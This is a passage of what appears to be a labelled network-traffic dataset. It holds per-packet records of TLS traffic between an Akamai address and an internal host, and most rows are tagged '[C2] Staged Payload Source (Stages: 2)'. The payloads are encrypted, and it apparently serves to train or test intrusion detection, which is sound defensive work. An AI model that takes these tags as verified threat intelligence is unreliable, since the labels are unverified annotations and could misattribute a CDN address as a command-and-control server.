load=b'\\\\xbf{\\\\xc5\\\\xb7G\\\\xc29E\\\\x1c\\\\x99\\\\x0f\\\\x93\\\\x07p\\\\n\\\\xe6\\\\x17Z\\\\x8eY\\\\xbfF\\\\x8c\\\\x99Qz\\\\x824\\\\x82\\\\x94\\\\x19\\\\x8f' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:41.874997,10,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=553015702 Ack=1308797486,bc2411360d0cbc24112907bb080045000028a07340004006a255b81e9d450a98980b01bbf9ca20f659964e02aa2e5010003ff8210000,\".$.6\n..$.)....E..(.s@.@..U...E\n....... .Y.N...P..?.!..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 41075, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41557, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63946, \"\"seq\"\": 553015702, \"\"ack\"\": 1308797486, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:42.447482,11,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > TLS > TLS > TLS,6,TCP PA Seq=553015702 Ack=1308797486,bc2411360d0cbc24112907bb08004500013aa07440004006a142b81e9d450a98980b01bbf9ca20f659964e02aa2e5018003ff933000016030300da040000d60001449c00d000001e802bb6dd685488da13b2a373df28afacf45e8ab5a5e6a8487958ed4e345983b509d990c9fcf288897655d5e8ac57f60c0638d28aa79c5ad87d134573b8506f5877ff817cab6597f104aa1a17ce9a08cc16314fa20a80a541819ef156e842ea8c696949f0ccc7defa284c5c9be1effacb1c6b98cb0241cb52a59f27f3b8f348e1e64f676d969c65ba8f7b022ff98512451bb27d423823d04631eea0084f8fa2524b1e232df2cccb525e1b6ee0823ef96d4ae71dffacad0446b8270e8b9b7c4616c9e7f002e02e0813dfc908ffdb1403030001011603030028490b3b35e8f5091ec510761835a7f18c1bea58b7b368795276d8ef3ee4e14ee6a8a8a3f6a9c1d867,I.;5..\t...v.5.....X..hyRv..>..N........g,[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 314, \"\"id\"\": 41076, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41282, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63946, \"\"seq\"\": 553015702, \"\"ack\"\": 1308797486, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 63795, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 22, \"\"version\"\": 771, \"\"len\"\": 218, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSNewSessionTicket  msgtype=session_ticket msglen=214 lifetime=83100 ticketlen=208 ticket=b\\\"\"\\\\x00\\\\x00\\\\x1e\\\\x80+\\\\xb6\\\\xddhT\\\\x88\\\\xda\\\\x13\\\\xb2\\\\xa3s\\\\xdf(\\\\xaf\\\\xac\\\\xf4^\\\\x8a\\\\xb5\\\\xa5\\\\xe6\\\\xa8HyX\\\\xedN4Y\\\\x83\\\\xb5\\\\t\\\\xd9\\\\x90\\\\xc9\\\\xfc\\\\xf2\\\\x88\\\\x89vU\\\\xd5\\\\xe8\\\\xacW\\\\xf6\\\\x0c\\\\x068\\\\xd2\\\\x8a\\\\xa7\\\\x9cZ\\\\xd8}\\\\x13Es\\\\xb8PoXw\\\\xff\\\\x81|\\\\xabe\\\\x97\\\\xf1\\\\x04\\\\xaa\\\\x1a\\\\x17\\\\xce\\\\x9a\\\\x08\\\\xcc\\\\x161O\\\\xa2\\\\n\\\\x80\\\\xa5A\\\\x81\\\\x9e\\\\xf1V\\\\xe8B\\\\xea\\\\x8ciiI\\\\xf0\\\\xcc\\\\xc7\\\\xde\\\\xfa(L\\\\\\\\\\\\x9b\\\\xe1\\\\xef\\\\xfa\\\\xcb\\\\x1ck\\\\x98\\\\xcb\\\\x02A\\\\xcbR\\\\xa5\\\\x9f'\\\\xf3\\\\xb8\\\\xf3H\\\\xe1\\\\xe6Ogm\\\\x96\\\\x9ce\\\\xba\\\\x8f{\\\\x02/\\\\xf9\\\\x85\\\\x12E\\\\x1b\\\\xb2}B8#\\\\xd0F1\\\\xee\\\\xa0\\\\x08O\\\\x8f\\\\xa2RK\\\\x1e#-\\\\xf2\\\\xcc\\\\xcbR^\\\\x1bn\\\\xe0\\\\x82>\\\\xf9mJ\\\\xe7\\\\x1d\\\\xff\\\\xac\\\\xad\\\\x04F\\\\xb8'\\\\x0e\\\\x8b\\\\x9b|F\\\\x16\\\\xc9\\\\xe7\\\\xf0\\\\x02\\\\xe0.\\\\x08\\\\x13\\\\xdf\\\\xc9\\\\x08\\\\xff\\\\xdb\\\"\" |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 20, \"\"version\"\": 771, \"\"len\"\": 1, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSChangeCipherSpec  msgtype=change_cipher_spec |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 40, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<Raw  load=b'I\\\\x0b;5\\\\xe8\\\\xf5\\\\t\\\\x1e\\\\xc5\\\\x10v\\\\x185\\\\xa7\\\\xf1\\\\x8c\\\\x1b\\\\xeaX\\\\xb7\\\\xb3hyRv\\\\xd8\\\\xef>\\\\xe4\\\\xe1N\\\\xe6\\\\xa8\\\\xa8\\\\xa3\\\\xf6\\\\xa9\\\\xc1\\\\xd8g' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:42.457232,12,TCP 10.152.152.11:63946 -> 184.30.157.69:443,10.152.152.11,184.30.157.69,63946,443,TCP,Internal,Private Network,,,,,,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,PA,,,Ether > IP > TCP > TLS,4,TCP PA Seq=1308797486 Ack=553015976,bc24112907bbbc2411360d0c0800450002172fb440008006d1250a98980bb81e9d45f9ca01bb4e02aa2e20f65aa8501820104752000017030301ea0000000000000001c2136bfcd7bc1ad9653537e5ecd3c1721e56b22fa4dfa88c3d735644f613761209616a19f944b5bee1573c900627ce1e0939dd3192a9d6ed31f8c1a7c30e3b68d994d10ca0ba18c000d873eb806c543ee00fe91343549c1d7bc78011ac1e504c8069ab9c04532255e90c67e9c7239e15e360d9b3e4fdb55e755e22a1480bbe12db962f20ee93bd0210c69420fad1aae530b2e1ad70732db873a2f1105de2269be8c4203fac22f9c8e9a83920a5662a56c308b16896ac58de767e4c7e26c7d483ef29cf74ecacfc1ec2e5e38ab33df22db998e5d7579debaee5f739b873080fc5939f199689882477fd10da4280e202cdfdd8af742dfee0d67f70ad35f6d8c3afb86fdc7bd43866583a82e44173a752f4c4f04445827b097a3e48f1a7dee310c39833f132a283c9df5557aeb0a96dd3e3f9508ab06cb831bf4c162da72aa1a146538ffdffb7fc1f1a7dfe46c1b3f9a7d3cc389817913d5f007cf0c46665ef57eac336f62963dd1cd410d3de05ce558c248e75b7b9d0ca26813dcc27d3402a5034dfcebe1f4bb1d21b9655589a675b51544dc85fa7c32d07caead204e717b1c6f9db36e27e6c9f022f08c7f8bdf26a718c8611cf633df9e9aa756747eeacb2112ea2220a08ece23b33ea46ae6ce2b61dfb4e5e01c7891251480d7687ec3d1bb687c9a6,\".$.)...$.6\n...E.../.@....%\n......E....N... .Z.P. .GR.................k.....e57....r.V./....=sVD..v.\taj..D...W<..'..\t9.1....1.....;h..........s..lT>....CT..{.....PL.i...S\"\"U..g..#...`.....^u^\"\".H...../ ....... ....0...ps-.s...].&... ?.\"\"....9 .f*V...h..X.v~L~&....).t.........=.-....W.....9.s.........$w...B.......t-....p.5.....o.{.8fX:..As.R...DE.{\tz>H.......3.2....UW...m...P..l.1.L.-.*..FS.......}.F......8...=_.|..fe.W..6.)c........U.$.u....&.=.'.@*P4....K....UX.g[QTM._..-...........6.~l../.....jq....c=...ugG......\"\"\n...;3.F.l....N^....QH\nv..=.....\",,\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:29:07:bb\"\", \"\"src\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 535, \"\"id\"\": 12212, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 128, \"\"proto\"\": 6, \"\"chksum\"\": 53541, \"\"src\"\": \"\"10.152.152.11\"\", \"\"dst\"\": \"\"184.30.157.69\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 63946, \"\"dport\"\": 443, \"\"seq\"\": 1308797486, \"\"ack\"\": 553015976, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 8208, \"\"chksum\"\": 18258, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TLS\"\", \"\"fields\"\": {\"\"type\"\": 23, \"\"version\"\": 771, \"\"len\"\": 490, \"\"iv\"\": \"\"\"\", \"\"msg\"\": \"\"[<TLSApplicationData  data=b'\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x00\\\\x01\\\\xc2\\\\x13k\\\\xfc\\\\xd7\\\\xbc\\\\x1a\\\\xd9e57\\\\xe5\\\\xec\\\\xd3\\\\xc1r\\\\x1eV\\\\xb2/\\\\xa4\\\\xdf\\\\xa8\\\\x8c=sVD\\\\xf6\\\\x13v\\\\x12\\\\taj\\\\x19\\\\xf9D\\\\xb5\\\\xbe\\\\xe1W<\\\\x90\\\\x06\\\\'\\\\xce\\\\x1e\\\\t9\\\\xdd1\\\\x92\\\\xa9\\\\xd6\\\\xed1\\\\xf8\\\\xc1\\\\xa7\\\\xc3\\\\x0e;h\\\\xd9\\\\x94\\\\xd1\\\\x0c\\\\xa0\\\\xba\\\\x18\\\\xc0\\\\x00\\\\xd8s\\\\xeb\\\\x80lT>\\\\xe0\\\\x0f\\\\xe9\\\\x13CT\\\\x9c\\\\x1d{\\\\xc7\\\\x80\\\\x11\\\\xac\\\\x1ePL\\\\x80i\\\\xab\\\\x9c\\\\x04S\\\"\"U\\\\xe9\\\\x0cg\\\\xe9\\\\xc7#\\\\x9e\\\\x15\\\\xe3`\\\\xd9\\\\xb3\\\\xe4\\\\xfd\\\\xb5^u^\\\"\"\\\\xa1H\\\\x0b\\\\xbe\\\\x12\\\\xdb\\\\x96/ \\\\xee\\\\x93\\\\xbd\\\\x02\\\\x10\\\\xc6\\\\x94 \\\\xfa\\\\xd1\\\\xaa\\\\xe50\\\\xb2\\\\xe1\\\\xadps-\\\\xb8s\\\\xa2\\\\xf1\\\\x10]\\\\xe2&\\\\x9b\\\\xe8\\\\xc4 ?\\\\xac\\\"\"\\\\xf9\\\\xc8\\\\xe9\\\\xa89 \\\\xa5f*V\\\\xc3\\\\x08\\\\xb1h\\\\x96\\\\xacX\\\\xdev~L~&\\\\xc7\\\\xd4\\\\x83\\\\xef)\\\\xcft\\\\xec\\\\xac\\\\xfc\\\\x1e\\\\xc2\\\\xe5\\\\xe3\\\\x8a\\\\xb3=\\\\xf2-\\\\xb9\\\\x98\\\\xe5\\\\xd7W\\\\x9d\\\\xeb\\\\xae\\\\xe5\\\\xf79\\\\xb8s\\\\x08\\\\x0f\\\\xc5\\\\x93\\\\x9f\\\\x19\\\\x96\\\\x89\\\\x88$w\\\\xfd\\\\x10\\\\xdaB\\\\x80\\\\xe2\\\\x02\\\\xcd\\\\xfd\\\\xd8\\\\xaft-\\\\xfe\\\\xe0\\\\xd6\\\\x7fp\\\\xad5\\\\xf6\\\\xd8\\\\xc3\\\\xaf\\\\xb8o\\\\xdc{\\\\xd48fX:\\\\x82\\\\xe4As\\\\xa7R\\\\xf4\\\\xc4\\\\xf0DE\\\\x82{\\\\tz>H\\\\xf1\\\\xa7\\\\xde\\\\xe3\\\\x10\\\\xc3\\\\x983\\\\xf12\\\\xa2\\\\x83\\\\xc9\\\\xdfUW\\\\xae\\\\xb0\\\\xa9m\\\\xd3\\\\xe3\\\\xf9P\\\\x8a\\\\xb0l\\\\xb81\\\\xbfL\\\\x16-\\\\xa7*\\\\xa1\\\\xa1FS\\\\x8f\\\\xfd\\\\xff\\\\xb7\\\\xfc\\\\x1f\\\\x1a}\\\\xfeF\\\\xc1\\\\xb3\\\\xf9\\\\xa7\\\\xd3\\\\xcc8\\\\x98\\\\x17\\\\x91=_\\\\x00|\\\\xf0\\\\xc4fe\\\\xefW\\\\xea\\\\xc36\\\\xf6)c\\\\xdd\\\\x1c\\\\xd4\\\\x10\\\\xd3\\\\xde\\\\x05\\\\xceU\\\\x8c$\\\\x8eu\\\\xb7\\\\xb9\\\\xd0\\\\xca&\\\\x81=\\\\xcc\\\\'\\\\xd3@*P4\\\\xdf\\\\xce\\\\xbe\\\\x1fK\\\\xb1\\\\xd2\\\\x1b\\\\x96UX\\\\x9ag[QTM\\\\xc8_\\\\xa7\\\\xc3-\\\\x07\\\\xca\\\\xea\\\\xd2\\\\x04\\\\xe7\\\\x17\\\\xb1\\\\xc6\\\\xf9\\\\xdb6\\\\xe2~l\\\\x9f\\\\x02/\\\\x08\\\\xc7\\\\xf8\\\\xbd\\\\xf2jq\\\\x8c\\\\x86\\\\x11\\\\xcfc=\\\\xf9\\\\xe9\\\\xaaugG\\\\xee\\\\xac\\\\xb2\\\\x11.\\\\xa2\\\"\"\\\\n\\\\x08\\\\xec\\\\xe2;3\\\\xeaF\\\\xael\\\\xe2\\\\xb6\\\\x1d\\\\xfbN^\\\\x01\\\\xc7\\\\x89\\\\x12QH\\\\rv\\\\x87\\\\xec=\\\\x1b\\\\xb6\\\\x87\\\\xc9\\\\xa6' |>]\"\", \"\"mac\"\": \"\"\"\", \"\"pad\"\": null, \"\"padlen\"\": null}}]\"\n2026-06-28 14:01:42.457250,13,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,A,,,Ether > IP > TCP,3,TCP A Seq=553015976 Ack=1308797981,bc2411360d0cbc24112907bb080045000028a07540004006a253b81e9d450a98980b01bbf9ca20f65aa84e02ac1d5010003ff8210000,\".$.6\n..$.)....E..(.u@.@..S...E\n....... .Z.N...P..?.!..\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 40, \"\"id\"\": 41077, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 41555, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63946, \"\"seq\"\": 553015976, \"\"ack\"\": 1308797981, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"A\"\", \"\"window\"\": 63, \"\"chksum\"\": 63521, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}]\"\n2026-06-28 14:01:42.789684,14,TCP 184.30.157.69:443 -> 10.152.152.11:63946,184.30.157.69,10.152.152.11,443,63946,TCP,The Netherlands,Haarlem,16625,\"Akamai Technologies, Inc.\",52.3803,4.6422,184.30.156.0/22,Internal,Private Network,,,,,,PA,,,Ether > IP > TCP > Padding,4,TCP PA Seq=553015976 Ack=1308797981,bc2411360d0cbc24112907bb0800450009b0a0764000400698cab81e9d450a98980b01bbf9ca20f65aa84e02ac1d5018003f01aa00001703031f9c490b3b35e8f5091f3339bae17fd6d6d2b176ad2cdefbbbf8daedaff58cdb5135782381c351dc55db83b1ea909583d44c0d4b5a03ddcf09b57f29458d677e544180ca5988f4cd29723ea7ccaa5e3f62420a29c442d7ea3a829b9ead95858328a15e48370f8f41fdb398e8d3636421c9cb5f1598c3e0035956c566995250e6a887806c1e48bf58895523e5095114a0678842ddcc260b15889207195dfaef990d080536d44712ff5b716a0454752b82253e1b19da7ecc54ed7e72faa60885c741dead0dec60fa55d61a615cffc92e007fa5a5023703beb041efa5bc882357565fde4c4298fff55821d71ad31dd0af5baa9de5a0f7e1bf05399b3717a4357759a19ef2476237982dec23456ff175d329913753412d8125a599ec9053b1a2cce7f9d6e6d742843eb85f223f8f0031484af49b6bf2777a49440fd22dd472b16efb5416d1e8e2dbfbff91555b21ddbca21cca000b0ed35ac1fde2f1fc8ec3ecb8a09f7cd4701421b39f9e4831f0d2c12f9ca6863c51186531fb89fcb1bcacc779ae47ea2e6961635e046d6e05703d27d8c4fd73620ffb7ba5b74984d2e62b9be84b5727aeb8e98a457c855834240b49fa6e1bac9aa16f849afec34293e895f260190e1c6ad88e338a6ee78884700a74fd50695ad374d87ac3a9289cae858d618f69c7699b864ce85f6daef0b46a1e5f5008b95e36c9897570efef3b38d8d7b4cf1fce0ffb7035eb8a88d0081e7141fef4eaa50d1a4f5be4389e195ca49e2dd840b1a9256bbad8a3a72eedb852a0f4714ca492f0b2a14831eabf49f0dcb0eef10e7455cf2a643be95a7621fc2606456ea3e3effaa28a14d287e9f14d222d6f92adf748d1e45424e60c4a106a7300e4fc1726164d494a768f130d0e096b248c6b6a37777309ad6fb3c486f6330aebe36b073b982c26c2d19bca2abf016c0da52df3d638763449fcecf10477e29706daf82cd2557352637404ee3b7f95390dae7647d791966905f545f8e00063aa9deacca492160626d05fc9a75ec39df0450dd42999ad128252d5ceffb7430f82a760fea746ac15e2e827b26c07b0b6aca68d0785386ac8855138df60e1bc3b6ab17135caea445651b0087d9e2325a2b075786ab0cd44b6812f96884362600fbaf64da3d4c98cb87a0c1bf858a2779fde773e0dedad960ddb0cfe4e59bf952c7e5525da05d6dc1464c62baabecb1dacd8e2e959eabc37d364ecf946ec07d9e0c24b0c2cffdaf0f6f2de08b749a1734764bf67c5962603601566a7fbda00c2d6f5c7882f2caf610b5fa26ce91663d029f90064dbe9c3d4f171298546d81b200ee52790008d0f6cd7fb8ca70827cd274c039811e5f283aa4ca3481f4da4a00daf7c5cf524ddb7d0e88defd725adfd66800f736459ee9c382b1c8ffdbb1d8654f9739f42b46878f25b8b6adee10ccd9d8bd047d340896188f005d0d9819237066c3258acf9d9729ef52cc56cd2879e8040711226dcdfd239c316c1c2dfba838d314547d110cbcf6d97b9e62080a2d0042a4be706cf4803d7ab7f6d9857ffdd6c92ddc710ec7d0a26f252d576a0828aea1d9b1edc7f96fe56109a02327b50ee1474aa1d985b2c97227df5c3314feeb718c5c5c5f21e35556338e713715e6b587083c2b8edcd4686b7b996eeb2238809f2f2ccb4051dc0a134647dbdd7feb46ab806f78804df397fa891257b25b47e99127c6352fa6589649f36aa9a4345ebcd2bf9b005f2b7054d90c52d4fb2b0f3b796a4598dae115cf17c5deb6151ead8edffba9e1e5814cc07124dd1df6c5ae5cfb09cbe4836f30852968443b49e06e95d09dce9c3164946581a7ce515ae7884f1a2eee0874bef1ca429ab97a300ae7adb9a1015e1eb00fe3d81dd57adeddfaf30d10ce81cbc38bae9b2add83eabd7e7c591bd3522bfd9e4ff92a182cf8b6172afbd2d15098e3aac08c7bccfbc05a63a3ed200b1800ae6a5b62594ecd79607883b3172afce62eb6212d5dc12067c165961058bc6103bceda1aff7a8b813904d37be53f249c864366fe9d82deb37f5bf6ad96273944fac7bbe8fbfd15c9105712dadbbd17cb071964d6fab6671cc67c86b18ab837dfcafb0f5f2087e44e1c3b92b8bd9c7ee8d467b359157b358ef676e9b4d7aebeec08c15c633c109ecfe5eb13aa163bc959e3404100a9f32633900ee98830d0590b57fbc37bb6e36eabddfd25b8687483639ced13b87e7f9b3e0c28a956e044aeed775d6e45b2fbb655ae7d368025f9b295dc5aa6ea2c52369e8e8f69d4776a71ee62e11330e991219f7cf504c7ea548efe351258ec446096c37df0f3ce5f2b8a8406384f04c2de23dc971d2d6940af4a89c188d41013b84472c28871a3f7d7320937cc25cdf3465aa325ca31daea9be3817afa8187f18e6c53fc4b1b54545414412c0f50098d74dd16cdc083c13ebcb27464b2c1e5558a9720d38f6a2bed27e594410d47be6a640a01ebb58730eb243f362fd332e7e46af63a82ff71fa064d0b80dbcecc87cdb73109e0747fb375724b19a40f1f61058c6ce9358ce6e7f144d26b2a7122be20fdc4a0f8f389897f16598939f4284d91d72f9f2c6944452753e4a448c56b69ac1376e02d5380a0441f971c976d12c7f1f79474fdd5e31a56d3a6bfa60ee43d20e41bfcbdd2a48c55286c0b7ed3f5ee6e373b16161c49e30a7e91e72a6f32a17373e8b1f361d7d5440a033f22811a0960df4febf5abaf58634c111d9f86f9ab7f41451d0d6662ab643327c81bbe4a1b6adccfcc5e5140128d604daebc5eeb959947825232c3824480b0b96884a0a1e5571d5bff5dc1819baa751dfa93740248ed7623ce9e1eb7c59f21e65bdcd59213629da83ac6080a8b27fbc3cb828adcd47e23783b080710e36ce754d508de93bd48913adf12b0f97b3a7c87034f90592c048fde2351290c910e4b1d6114747d377c41b283b17237572ad24d3e21b466241d34cedf9c3d2b64abe5b88f749cc6362e3f897c434554f8d619ab9c1c5387c48ea087ec5e9528e676e9be3997a638c69a72575b259d8c8166705023a4b9020de11f90a0bed3d483d8a336593ec808f676cb7da8d24606cf5f5c0c6e36e454351ec69d9fa7a2ffb0bdd1ccdb5e578f29010b77bfb81eb33e104bf3762799e60506623fabf0aa2130045f09d7b399e21c674970fa68476854fba8d6e39bef11c360225a8c1726027ffe081401de275dfc6d4478f5396c66670b9789664d5f0709ff2f3e26585e57f440f38298d9f9c086c6fdf6909179635003a03babbf00b262467151a3fe0e906b0026f1362dffb762e5d432acbf6f8b7b68b1458e2450899454db3da9268048b0ce2413a40339e41f75bbc123774f78ec810c99ad5bb512488c35a57c653237ddc333973c9465b6f6fd80d66fff51415733b5e8a3bf8e1d0d093c9987ccd3ef8e038a27a227d2b95f9e45b848ae,\".$.6\n..$.)....E.\t..v@.@......E\n....... .Z.N...P..?.........I.;5..\t.39.......v.,..........Q5x#..Q.U........L\nKZ...\t..)E.g~TA..Y...)r>...^?bB\n).B..:.......(.^H7..A.....cd!.._.....YV.f.RP....l.H.X.U#.\tQ..g.B..&......]...\n..6.G..[qj.Tu+.%>...~.T.~r.....A..\n.`.U..a\\........7...A....#WV_.LB...X!......[........9.7..5wY...Gb7.-.#Eo.u.).7SA-.%....S........B.>._\"\"?..1HJ..k.wzID..-.r.n.T........U[!.........Z...........|.p.!...H1.../...<Q.e1.......y.G..iac^.mn.p='...sb..{..I...+..KW'....E|.X4$.I.n....o....B....`...j..3.n...p\nt.PiZ.t.z..(....a.i.i..L._m...j._P..^6..up..;8........p5......qA....\n.O[.8..\\..-.@..%k.......R..qL.....H1..I......tU.*d;.Zv!.&.En...........M\"\"-o...H..T$..J.js....&.MIJv..\n.\tk$.kj7ws\t.o....3\n..k.;.,&....*..l\n.-..8v4I....w.....,.UsRct..;..9\n.vG...i..E...c........&._..^...E\n.)....R....C...`..F....'.l........8j..Q8.`..;j.q5..DVQ..}.#%..uxj..D../..Cb`...M.....z...X.w..w>\n...\n...NY..,~U%.....d.+........Y..7.d..F.....K.,........I.sGd.g..&.`.f........./,.a._.l..c.)..d.....q).F.. ..'....l.....'.'L.......L.H.M..\n.|\\.$.......%..f..sdY..8+......T.s.B.hx.[.j.......G.@.a.......7.l2X...r..,.l....@q.&...9........1EG....m... ....*K...H....m.W..l.....}\n&.R.v...........V...2{P..t...[,.\"\"}..1O........5Uc8..q^kXp.....F......#.\t........4d}....j......9...%{%.~..|cR.e.d.6..CE..+......M..-O......Y...\\.|].aQ.......X....M..lZ.....H6..R..C....]\t....IFX.|...x......K...).....z........=..W....0.....8.....>......5\"\".........ar..-.\t.:........:>....\n...%......;1r..b.b.....|.Ya....;....z..9..{.?$..Cf......[...'9D.........W........d...g..|....7...._ ..N.;....~..g.Y.{5..v........\\c<........;.Y.@A...&3....0.Y.W..{..n...%.ht.c....~..>.(.V.D..w]nE...U.}6.%....Z..,R6...i.wjq.b..0..!.|....T..5.X.D`..}..._+...8O...#...-i@.J.......Dr..q...2\t7.%..FZ.%.1.....z.....lS.K.TTT.A,.P\t.t......>..td...U.. ..j+.'..A\nG.jd\n....0.$?6/.2..j.:..q..M........1\t.t..urK....a..l.5....D.k*q\"\". .........Y.9.(M../.,iDE'S..H.ki..v.-S..D....m.....t....V......= .......U(l.~...n7;...I.\n~..*o2.ss...a..D\n.?\"\"..\t`.O....XcL.......AE.\nfb.d3'...J.j...^Q@..`M..^...G.R2..D...h....W.[.]....u...t.H.v#......!.[....b..:..\n.'.......~#x;....l.T.....H.:....{:|..O.Y,...#Q)...K.a.t}7|A...r7W*.M>!.f$.4...=+d....t..6.?.|CET......S......^.(.v..9..8..rW[%...fpP#...\n..........6Y>...v.}..F.._\\.n6.T5............^W.)..w....>.K.v'....b?...!0._\t.....gIp.hGhT........`\"\"Z..&.......'].mDx.9lfg...fM_.\t./>&X^W.@............ycP..;....bFqQ....k.&.6-..b..2..o.{h.E.$P..T.=.&.H..$...9..u..#wOx.....[..H.5.|e27..3.<.e.....o.QAW3......\n\t<........'.'.._.E.H.\",[C2] Staged Payload Source (Stages: 2),\"[{\"\"layer\"\": \"\"Ether\"\", \"\"fields\"\": {\"\"dst\"\": \"\"bc:24:11:36:0d:0c\"\", \"\"src\"\": \"\"bc:24:11:29:07:bb\"\", \"\"type\"\": 2048}}, {\"\"layer\"\": \"\"IP\"\", \"\"fields\"\": {\"\"version\"\": 4, \"\"ihl\"\": 5, \"\"tos\"\": 0, \"\"len\"\": 2480, \"\"id\"\": 41078, \"\"flags\"\": \"\"DF\"\", \"\"frag\"\": 0, \"\"ttl\"\": 64, \"\"proto\"\": 6, \"\"chksum\"\": 39114, \"\"src\"\": \"\"184.30.157.69\"\", \"\"dst\"\": \"\"10.152.152.11\"\", \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"TCP\"\", \"\"fields\"\": {\"\"sport\"\": 443, \"\"dport\"\": 63946, \"\"seq\"\": 553015976, \"\"ack\"\": 1308797981, \"\"dataofs\"\": 5, \"\"reserved\"\": 0, \"\"flags\"\": \"\"PA\"\", \"\"window\"\": 63, \"\"chksum\"\": 426, \"\"urgptr\"\": 0, \"\"options\"\": \"\"[]\"\"}}, {\"\"layer\"\": \"\"Padding\"\", \"\"fields\"\": {\"\"load\"\": 